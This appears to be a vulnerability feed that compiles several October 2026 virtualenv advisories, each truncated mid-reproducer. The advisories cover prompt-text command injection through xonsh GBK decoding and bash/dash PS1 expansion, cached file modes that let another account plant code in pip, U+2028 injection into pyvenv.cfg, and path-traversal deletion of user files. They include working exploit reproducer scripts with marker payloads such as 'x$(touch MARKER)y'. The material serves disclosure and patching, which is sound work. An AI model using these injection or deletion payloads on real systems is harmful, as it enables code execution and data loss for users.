 refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None)
 logged = []
 if update_log_of_pip.exists(): # a failed update writes no log
 logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]]
 return refusal, logged, pip_version.stdout.splitlines()

# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it
shutil.rmtree(work, ignore_errors=True)
(home / ".config" / "pip").mkdir(parents=True)
shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf")
subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True)
index_server = subprocess.Popen(
 [sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "

Affected package ranges reported by GitHub:
virtualenv: < 21.14.9
Action: GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### virtualenv: Xonsh activation literals depend on the script decoding codec
https://kevwire.com/record/CVE-2026-113718
virtualenv: Xonsh activation literals depend on the script decoding codec (Oct 23, 2026).
Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the
value passed to virtualenv, and a user must subsequently activate the environment.

Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can
change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure
through unrelated activators.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-394h-qwmc-48pf).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113718&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-394h-qwmc-48pf: https://github.com/advisories/GHSA-394h-qwmc-48pf
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-113718: https://nvd.nist.gov/vuln/detail/CVE-2026-113718
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113718&date=2026-10-25
## Summary

Caller-supplied prompt text can become executable syntax in the xonsh activation script. An attacker must influence the
value passed to virtualenv, and a user must subsequently activate the environment.

## Affected area

Xonsh reads a UTF-8 activation script using a legacy multibyte encoding such as GBK. Printable non-ASCII bytes can
change how the reader recognizes an adjacent quote. The report concerns POSIX activation. It does not establish exposure
through unrelated activators.

## Attacker-controlled input

The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated
activation script.

## Affected code

The relevant 21.14.8 source is in
[xonsh quote()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/xonsh/__init__.py),
[UTF-8 template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py).

## Mechanism

The generator writes `activate.xsh` as UTF-8. Its `quote()` used `repr()`, which leaves printable non-ASCII characters
in the file and backslash-escapes an embedded quote. Xonsh's `source` reads the file using `$XONSH_ENCODING`. With GBK
or Big5, the UTF-8 bytes of `中` end in `0xad`, which pairs with the following `0x5c` backslash as one decoded character.
The backslash no longer escapes the quote. A prompt containing both quote kinds can then close its Python string literal
and supply statements that run during activation. With UTF-8 source decoding, the same value stays inside the literal.

## Reproduction and evidence

The original scanner finding, `ANT-2026-PAUVP7YL`, demonstrated this byte-level failure in `activate_this.py`: a hostile
prompt loaded through `exec(open(file).read(), ...)` under GBK created a marker, while UTF-8 and `runpy.run_path`
controls did not. The xonsh path in this advisory was identified in the subsequent maintainer-provided review.
[PR #3432](https://github.com/pypa/virtualenv/pull/3432) shows the xonsh source-decoding chain and changes `quote()` to
`ascii()`, which writes non-ASCII characters as escapes. Its regression test encodes the generated literal as ASCII,
decodes it as GBK, and checks that `ast.literal_eval` returns the original prompt.

The attack needs control of the prompt or destination value, an affected xonsh source encoding, and later sourcing of
the generated file. The original `activate_this.py` reproducer does not itself prove xonsh execution; that result is
attributed to the separate review. Existing `activate.xsh` files must be regenerated after the fix.

## Attack sequence

```mermaid
sequenceDiagram
 participant A as Prompt supplier
 participant V as virtualenv quote()
 participant F as activate.xsh bytes
 participant X as xonsh source
 A->>V: 中 plus escaped quote and statements
 V->>F: repr writes UTF-8 中 followed by backslash
 alt XONSH_ENCODING is UTF-8
 F->>X: backslash remains an escape
 X-->>A: prompt remains data
 else XONSH_ENCODING is GBK or Big5
 F->>X: decoder consumes backslash as trail byte
 X->>X: quote closes and statements run
 end
 Note over V,X: ascii() emits only ASCII bytes and preserves the literal
```

## Reproducer files

The following files are from the scanner report for `ANT-2026-PAUVP7YL`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

**`repro`**

```text
#!/usr/bin/env python3
import os
import subprocess
import sys
from pathlib import Path
from shutil import rmtree

work = Path("/tmp/activate-this-gbk")
rmtree(work, ignore_errors=True)
work.mkdir()
env_dir = work / "venv"
marker = work / "MARKER"

# set up: a zh_CN.GBK locale, which the image does not ship
subprocess.run([sys.executable, "/tmp/repro.d/install_gbk_locale.py", work / "locales"], check=True)
utf8_session = {"PATH": os.environ["PATH"], "LANG": "C.UTF-8"}
gbk_session = {"PATH": os.environ["PATH"], "LANG": "zh_CN.GBK", "LOCPATH": str(work / "locales")}

# attacker: text that a tool relays as --prompt
# the payload's " makes repr() delimit with ' and write the prompt's own ' as \'
# 中 is e4 b8 ad in UTF-8; GBK reads e4 b8 as one character and ad 5c, ad plus that backslash, as the next
payload = f'__import__("os").system("touch {marker}")'
hostile_prompt = "中" + "';" + payload + "#"

# user: creates the environment with the virtualenv command
subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--prompt", hostile_prompt, env_dir], check=True)
activate_this = (env_dir / "bin" / "activate_this.py").read_bytes()
prompt_line = next(line for line in activate_this.splitlines() if line.startswith(b'os.environ["VIRTUAL_ENV_PROMPT"]'))
print(f"activate_this.py read as UTF-8: {prompt_line.decode('utf-8')}")
print(f"activate_this.py read as GBK: {prompt_line.decode('gbk')}")
assert not marker.exists(), "payload ran at creation time"

# trigger: the same program activates the environment, first in a UTF-8 session, then in a GBK one
activate = [sys.executable, "/tmp/repro.d/activate_with_exec_open.py", env_dir]
control = subprocess.run(activate, env=utf8_session, stdout=subprocess.PIPE, encoding="utf-8", check=True)
ran_in_utf8_session = marker.exists()
print(f"CONTROL UTF-8 session: {control.stdout.strip()}; {marker} exists: {ran_in_utf8_session}")

observed = subprocess.run(activate, env=gbk_session, stdout=subprocess.PIPE, encoding="gbk", check=True)
ran_in_gbk_session = marker.exists()
print(f"OBSERVED GBK session: {observed.stdout.strip()}; {marker} exists: {ran_in_gbk_session}")

# check: the prompt is data and must not run in either session
print("BUG" if ran_in_gbk_session and not ran_in_utf8_session else "OK")
```

**`repro.d/ac

Affected package ranges reported by GitHub:
virtualenv: < 21.14.9
Action: GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### virtualenv: Seeded files retain permissions from an older cache
https://kevwire.com/record/CVE-2026-113720
virtualenv: Seeded files retain permissions from an older cache (Oct 23, 2026).
The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache
populated under permissive permissions can therefore produce files with wider access in later environments.

Anthropic's OSS Scanner reported this as `ANT-2026-487MH6OW` in `virtualenv-20261015-005`, received on 15 October 2026.
CVSS 4.4 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-fc2g-4w5p-6whm).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113720&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-fc2g-4w5p-6whm: https://github.com/advisories/GHSA-fc2g-4w5p-6whm
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113720&date=2026-10-25
## Summary

The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache
populated under permissive permissions can therefore produce files with wider access in later environments.

Anthropic's OSS Scanner reported this as `ANT-2026-487MH6OW` in `virtualenv-20261015-005`, received on 15 October 2026.

## Affected area

Permissions of files copied from app-data into a new environment.

## Attacker-controlled input

The cache must contain files created with broader permissions than the current environment creator intends. Another
account must also be able to traverse the new environment and reach those files. A private parent directory prevents
that access. No control of a private live cache is assumed.

## Affected code

The relevant 21.14.8 source is in
[copy helpers](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).

## Mechanism

The default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with
`shutil.copy()`. That function applies the cached source mode to each destination file after creating it, overriding the
current run's umask. If the cache image was built under umask `000`, a later environment created under umask `022` can
receive mode-`0666` pip files. The cache may be private while the new environment is reachable by other local accounts.

## Reproduction and evidence

The scanner created two histories with separate private app-data caches. In the control, the owner's first run used
umask `022`; a later environment had no files writable by another account, and that account could not append to
`pip/__init__.py`. In the attack history, the first run used umask `000` and the later run still used `022`. The report
counted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and
`bin/pip --version` ran it as the environment owner. The cache itself remained under a mode-`0700` home in both
histories.

An attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable
destination. A mode-`002` cache can expose group write access under suitable group permissions. The scanner dates
app-data copy seeding to #1578, first released in 20.0.2. [PR #3425](https://github.com/pypa/virtualenv/pull/3425)
creates copied files under a fixed non-writable-by-others policy further restricted by the current umask.

## Attack sequence

```mermaid
sequenceDiagram
 participant U as Environment owner
 participant C as Private app-data cache
 participant E as Later environment
 participant A as Other local account
 U->>C: first seed extraction under umask 000
 C-->>U: cached pip files have mode 0666
 U->>E: create environment under umask 022
 C->>E: shutil.copy reapplies mode 0666
 A->>E: append code to pip/__init__.py
 U->>E: run bin/pip --version
 E-->>U: appended code runs as owner
```

## Reproducer files

The following files are from the scanner report for `ANT-2026-487MH6OW`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

**`repro`**

```text
#!/usr/bin/env python3
import glob
import os
import shutil
import stat
import subprocess
import sys
from pathlib import Path

sys.stdout.reconfigure(line_buffering=True) # keep these lines in order with those of the child processes
os.umask(0o022) # for the directories made here as root
OWNER, OTHER_USER = 1000, 65534 # root is only needed to switch to these two unprivileged uids
VIRTUALENV = ["virtualenv", "--quiet", "--no-periodic-update"] # default seeder; no network for the update check
# read here, as root: /tmp/repro.d need not be readable by the other user
ATTACK = Path("/tmp/repro.d/other_user_appends_to_pip.py").read_text()

def run_as_owner(command, home, umask):
 environ = {"HOME": str(home), "PATH": os.environ["PATH"]}
 subprocess.run(command, user=OWNER, group=OWNER, extra_groups=[], umask=umask, env=environ, cwd=home, check=True)

def mode(path):
 return stat.filemode(os.stat(path).st_mode)

work = Path("/tmp/seed-mode-repro")
shutil.rmtree(work, ignore_errors=True)
work.mkdir()
proofs = work / "proofs"
proofs.mkdir()
proofs.chmod(0o777) # the other user's line writes the uid it runs as in here

writable_by_others, appended_line_ran_as = {}, {}
# the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv
for case, umask_of_earlier_run in [("CONTROL", 0o022), ("OBSERVED", 0o000)]:
 # set up: the owner's home, and with it the cache, is private; the project folder is reachable by path
 home = work / f"{case}-home"
 home.mkdir(mode=0o700)
 os.chown(home, OWNER, OWNER)
 projects = work / f"{case}-projects"
 projects.mkdir(mode=0o755)
 os.chown(projects, OWNER, OWNER)

 # owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it
 run_as_owner([*VIRTUALENV, str(home / "earlier-env")], home, umask=umask_of_earlier_run)
 # owner, today
 env = projects / "env"
 run_as_owner([*VIRTUALENV, str(env)], home, umask=0o022)

 (cached_pip,) = glob.glob(f"{home}/.cache/virtualenv/wheel/*/image/1/CopyPipInstall/pip-*/pip/__init__.py")
 (seeded_pip,) = glob.glob(f"{env}/lib/python*/site-packages/pip/__init__.py")
 env_files = [path for path in env.rglob("*") if path.is_file() and not path.is_symlink()]
 writable_by_others[case] = sum(1 for path in env_files if path.stat().st_mode & stat.S_IWOTH)
 print(f"{case} earlier run under umask {umask_of_earlier_run:03o}, env created under umask 022")
 print(f"{case} cache pip/__init__.py {mode(cached_pip)}")
 print(f"{case} env pyvenv.cfg {mode(env / 'pyvenv.cfg')}")
 print(f"{case} e

Affected package ranges reported by GitHub:
virtualenv: < 21.14.9
Action: GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### virtualenv: Bash prompt values can change meaning under older compatibility modes
https://kevwire.com/record/CVE-2026-113723
virtualenv: Bash prompt values can change meaning under older compatibility modes (Oct 23, 2026).
Caller-supplied prompt text can become executable syntax in the bash activation prompt. An attacker must influence the
value passed to virtualenv, and a user must subsequently activate the environment and draw the prompt.

Bash runs with compatibility level 4.2 and draws the environment prompt. Its replacement-string behavior differs from
newer compatibility modes, leaving prompt text subject to a second interpretation. The report concerns POSIX activation.
It does not establish exposure through unrelated activators.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-6w3r-xr62-4xcp).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113723&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-6w3r-xr62-4xcp: https://github.com/advisories/GHSA-6w3r-xr62-4xcp
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-113723: https://nvd.nist.gov/vuln/detail/CVE-2026-113723
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113723&date=2026-10-25
## Summary

Caller-supplied prompt text can become executable syntax in the bash activation prompt. An attacker must influence the
value passed to virtualenv, and a user must subsequently activate the environment and draw the prompt.

## Affected area

Bash runs with compatibility level 4.2 and draws the environment prompt. Its replacement-string behavior differs from
newer compatibility modes, leaving prompt text subject to a second interpretation. The report concerns POSIX activation.
It does not establish exposure through unrelated activators.

## Attacker-controlled input

The attacker controls prompt or destination data passed as a virtualenv argument. The user later sources the generated
activation script.

## Affected code

The relevant 21.14.8 source is in
[bash prompt assembly](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/bash/activate.sh).

## Mechanism

`bin/activate` copies the prompt into `PS1`. A shell expands `PS1` again when it draws a prompt, so the value must
survive both the assignment and that later expansion. The bash and zsh branches escape for their usual prompt rules.
Three other paths still interpret prompt data as commands: dash sourcing `activate` directly, a child dash inheriting an
exported `PS1` from bash, and bash running at compatibility level 4.2 or lower. A value such as `x$(touch MARKER)y` then
runs `touch` on prompt display. Creating the environment does not run the payload.

## Reproduction and evidence

The scanner's child-shell reproducer creates an environment with `--prompt 'x$(touch MARKER)y'`, sources `bin/activate`
in interactive bash, and starts interactive `sh` (dash). Its control leaves `PS1` unexported: neither shell creates
`MARKER`. With `PS1` exported, bash displays the prompt without executing the value, but the child dash creates
`MARKER`; the reproducer ends in `BUG`. The report gives separate console reproductions for direct dash activation and
bash compatibility level 4.2. The child-shell path can arise after another environment's activation has exported `PS1`.

The scanner linked this finding to [#3326](https://github.com/pypa/virtualenv/pull/3326) and its follow-up #3390. Those
changes cover the usual bash path but leave the three paths above. The proposed change in
[#3418](https://github.com/pypa/virtualenv/pull/3418) keeps a variable reference in `PS1`, so prompt text is expanded as
data when drawn. The private report's reproducer was run by the scanner; the later command-execution result was supplied
by the maintainer review. This advisory does not claim that every POSIX shell or every bash mode is affected.

## Introduced

The report traces direct dash sourcing to the first 20.x activator (20.0.0b1), and inherited `PS1` to #3390 (first
released in 21.14.7). It demonstrates the compatibility-level case on bash 5.2. Those historical boundaries come from
the report; the release confirmed by the maintainer is 21.14.8.

## Attack sequence

```mermaid
sequenceDiagram
 participant A as Prompt supplier
 participant V as virtualenv
 participant B as Interactive bash
 participant D as Child dash
 A->>V: --prompt x$(touch MARKER)y
 V->>B: generated bin/activate
 B->>B: assign escaped prompt to PS1
 alt PS1 is not exported
 B->>D: start sh with its own PS1
 D-->>B: marker absent
 else PS1 is exported
 B->>D: start sh with inherited PS1
 D->>D: expand $(touch MARKER) on prompt draw
 D-->>B: marker created
 end
```

## Reproducer files

The following files are from the scanner report for `ANT-2026-1MOI2X3T`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

**`repro`**

```text
#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path

work = Path("/tmp/repro-inherited-ps1")
shutil.rmtree(work, ignore_errors=True)
work.mkdir()
marker = work / "MARKER"
print("sh is", Path("/bin/sh").resolve())

# attacker: only the text a tool such as tox or hatch relays as --prompt
hostile_prompt = f"x$(touch {marker})y"

# set up: the environment, made with the virtualenv command
subprocess.run(
 ["virtualenv", "--no-periodic-update", "--without-pip", "--activators", "bash",
 "--prompt", hostile_prompt, str(work / "env")],
 check=True, stdout=subprocess.DEVNULL,
)
assert not marker.exists(), "creating the environment must not run the prompt"

# user: in an interactive bash, source bin/activate, then start sh.
# -i makes both shells draw their prompt although stdin is not a terminal; sh draws one, reads EOF and returns
session = Path("/tmp/repro.d/user_session.sh").read_text()
interactive_bash = ["bash", "--norc", "--noprofile", "-i"]

# control: PS1 set in bash but not exported, so sh does not inherit it
control = subprocess.run(interactive_bash, input="PS1='\\$ '\n" + session,
 stderr=subprocess.PIPE, text=True, check=True)
print(control.stderr)
ran_in_control = marker.exists()
print("CONTROL PS1 not exported: marker created:", ran_in_control)

# attack: the same session with the one difference that PS1 is exported
attack = subprocess.run(interactive_bash, input="export PS1='\\$ '\n" + session,
 stderr=subprocess.PIPE, text=True, check=True)
print(attack.stderr)
ran_in_attack = marker.exists()
print("OBSERVED PS1 exported: marker created:", ran_in_attack)

# check: the prompt text must be drawn, never run, by every shell that draws it
print("BUG" if ran_in_attack and not ran_in_control else "OK")
```

**`repro.d/user_session.sh`**

```text
. /tmp/repro-inherited-ps1/env/bin/activate
sh -i </dev/null
```

## Impact

An affected activation can execute commands with the user's privileges. Severity is high, following the generated-script
precedent in [GHSA-p58f-9548-mpm2](https

Affected package ranges reported by GitHub:
virtualenv: < 21.14.9
Action: GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### virtualenv: Venv configuration readback can reinterpret path boundaries
https://kevwire.com/record/CVE-2026-113715
virtualenv: Venv configuration readback can reinterpret path boundaries (Oct 23, 2026).
The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over
virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure
before output sanitization.

Anthropic's OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.
CVSS 2.0 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-qmx5-4p3x-wvqf).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113715&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-qmx5-4p3x-wvqf: https://github.com/advisories/GHSA-qmx5-4p3x-wvqf
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113715&date=2026-10-25
## Summary

The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over
virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure
before output sanitization.

Anthropic's OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.

## Affected area

Configuration readback by the stdlib venv creator.

## Attacker-controlled input

An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a
character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

## Affected code

The relevant 21.14.8 source is in
[venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py),
[configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).

## Mechanism

With `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with
`str.splitlines()`, and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a
`command =` value without escaping every character that `splitlines()` recognizes as a line boundary. A destination
containing U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback.
Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

## Reproduction and evidence

The scanner used one destination value with U+2028 between `home = /attacker/chosen`,
`include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the
value inside its `command` line and reported the base interpreter's `sys._home`. `virtualenv --creator venv --no-seed`
on the same value wrote separate injected configuration lines and its interpreter reported
`sys._home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra
keys came from virtualenv's readback, not from the standard library's initial file alone.

The altered `home` can change which standard-library files the interpreter loads if an attacker also controls that
location; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required,
either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in
20.0.0b1. [PR #3426](https://github.com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and
rebuilds the final configuration from selected settings.

## Attack sequence

```mermaid
sequenceDiagram
 participant A as Destination supplier
 participant S as stdlib venv
 participant V as virtualenv readback
 participant C as Final pyvenv.cfg
 participant P as Environment Python
 A->>S: path contains U+2028 and home = /attacker/chosen
 S->>C: write path inside command value
 V->>C: read with splitlines()
 V->>V: parse suffix as separate keys
 V->>C: rewrite home and include-system-site-packages
 P->>C: read injected keys on startup
 C-->>P: sys._home changes and isolation is disabled
```

## Reproducer files

The following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

**`repro`**

```text
#!/usr/bin/env python3
import os
import shutil
import subprocess

work = "/tmp/repro-venv-creator-cfg"
shutil.rmtree(work, ignore_errors=True)

# the attacker's input: the text of a destination path.
# U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.
# The slashes only make nested directories; the last key, x, absorbs the rest of the path.
LS = "\u2028"
dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"

base_python = os.path.realpath(shutil.which("python"))
real_home = os.path.dirname(base_python)

def pyvenv_cfg_lines(env):
 # split on "\n" only, as the interpreter does
 return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")

def sys_home(env):
 # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg
 probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"]
 return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()

# control: the same path through the standard library alone
stdlib_env = dest + "-stdlib"
subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)

# attack: the same path through virtualenv; --creator venv is the one non-default option
virtualenv_env = dest + "-virtualenv"
created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env])
if created.returncode != 0: # refusing such a destination is a valid fix
 print("virtualenv refused the destination")
 print("OK")
 raise SystemExit

# check
stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)
virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)

print("CONTROL python -m venv wrote pyvenv.cfg:")
for line in stdlib_cfg:
 print(" " + ascii(line))
print(f"CONTROL python -m venv: sys._home = {stdlib_home}")
print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:")
for line in virtualenv_cfg:
 print(" " + ascii(line))
print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")

keys_injected = "home = /attacke

Affected package ranges reported by GitHub:
virtualenv: < 21.14.9
Action: GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### virtualenv: Seed replacement does not contain metadata deletion paths
https://kevwire.com/record/CVE-2026-113719
virtualenv: Seed replacement does not contain metadata deletion paths (Oct 23, 2026).
The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths
without checking containment within the environment.

Anthropic's OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.
CVSS 4.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-hhxq-47xx-j5xx).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113719&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-hhxq-47xx-j5xx: https://github.com/advisories/GHSA-hhxq-47xx-j5xx
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113719&date=2026-10-25
## Summary

The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths
without checking containment within the environment.

Anthropic's OSS Scanner reported this as `ANT-2026-SXOEHWP7` in `virtualenv-20261015-005`, received on 15 October 2026.

## Affected area

Removal of a previously installed seed package.

## Attacker-controlled input

An environment being reused must contain distribution metadata influenced by another account. The invoking user must
have deletion rights over the paths named by that metadata. Installing a new environment without existing package
metadata does not enter this cleanup path.

## Affected code

The relevant 21.14.8 source is in
[seed uninstall](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).

## Mechanism

Before reinstalling a seed wheel, `PipInstall._uninstall_previous_version()` accepts an existing `pip-*.dist-info`
directory in the destination. `_uninstall_dist()` reads its `top_level.txt` and `RECORD`, joins each entry to
`site-packages`, and deletes the result. It does not check whether `..`, an absolute entry, or a linked parent takes the
path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing
seed-package metadata; `--clear` removes that tree first.

## Reproduction and evidence

The scanner prepared a project with `.venv/lib/python3.14/site-packages/pip-1.0.dist-info/`. Its `top_level.txt`
contained `../../../../../Documents`; its `RECORD` named `../../../../../notes.txt,,`. The user's home initially held
`Documents/thesis/chapter1.txt` and `notes.txt`. Running `virtualenv .venv` exited successfully but removed both paths.
A control tree with `top_level.txt` set to `pip` and a normal `pip/__init__.py` RECORD entry left the home files in
place. The reproducer prints `BUG` only when the control files survive and both attack targets disappear.

The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It
requires an existing destination that another account could populate; a fresh empty environment does not supply hostile
metadata. The report traces this cleanup to #2186, first released in 20.8.1.
[PR #3428](https://github.com/pypa/virtualenv/pull/3428) checks each deletion path against the resolved environment root
and refuses to delete the root itself.

## Attack sequence

```mermaid
sequenceDiagram
 participant A as Prepared .venv metadata
 participant V as App-data seeder
 participant P as site-packages
 participant H as User home
 A->>P: top_level.txt names ../../../../../Documents
 A->>P: RECORD names ../../../../../notes.txt
 V->>P: read pip-1.0.dist-info before reinstall
 P->>H: join entries without containment check
 V->>H: remove Documents and notes.txt
 V-->>A: virtualenv exits successfully
```

## Reproducer files

The following files are from the scanner report for `ANT-2026-SXOEHWP7`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

**`repro`**

```text
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path

work = Path("/tmp/repro-seed-uninstall")
shutil.rmtree(work, ignore_errors=True)
USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt")

def make_home(name):
 home = work / name
 (home / "Documents" / "thesis").mkdir(parents=True)
 (home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n")
 (home / "notes.txt").write_text("my notes\n")
 return home

def unpack_attacker_project(home, top_level_line, record_line):
 subprocess.run(
 [sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line],
 check=True,
 )

def user_runs_virtualenv(home):
 # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline
 result = subprocess.run(
 ["virtualenv", "--no-periodic-update", ".venv"],
 cwd=home / "project",
 env={**os.environ, "HOME": str(home)},
 stdout=subprocess.PIPE,
